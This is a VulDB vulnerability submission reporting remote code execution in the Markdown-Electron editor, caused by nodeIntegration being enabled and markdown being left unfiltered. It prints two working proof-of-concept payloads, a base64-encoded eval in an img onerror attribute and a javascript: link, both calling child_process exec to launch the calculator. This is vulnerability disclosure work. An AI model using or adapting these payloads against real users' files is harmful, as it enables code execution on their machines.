提交 #92098: Incorrect electron configuration causes RCE信息

标题Incorrect electron configuration causes RCE
描述nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE). EXP # 0 click <img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'> # 1 click <a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a> For more details, please click the announcement.
来源⚠️ https://github.com/JP1016/Markdown-Electron/issues/3
用户
 Tom23 (UID 41413)
提交2023-02-20 13時17分 (4 年前)
管理2023-02-24 09時00分 (4 days later)
状态已接受
VulDB条目221738 [JP1016 Markdown-Electron 权限提升]
积分20

Want to know what is going to be exploited?

We predict KEV entries!